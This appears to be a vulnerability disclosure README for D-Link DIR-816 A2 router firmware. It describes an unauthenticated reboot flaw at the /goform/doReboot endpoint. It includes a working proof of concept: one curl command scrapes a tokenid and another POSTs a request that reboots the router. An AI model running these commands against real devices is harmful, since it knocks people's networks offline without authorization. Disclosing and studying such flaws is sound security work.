readme.md

D-link DIR-816 A2_v1.10CNB04.img Reboot router without authentication

Firmware information

• Manufacturer's address：https://www.dlink.com/

• Firmware download address ： http://tsd.dlink.com.tw/GPL.asp

Affected version

The picture above shows the latest firmware for this version

Vulnerability details

Vulnerability occurs in /goform/doReboot , No authentication is required, and reboot is executed when the function returns at the end

Poc

The first thing you need to do is to get the tokenid

curl http://192.168.0.1/dir_login.asp | grep tokenid

Then run the following poc

curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx

The router will then reboot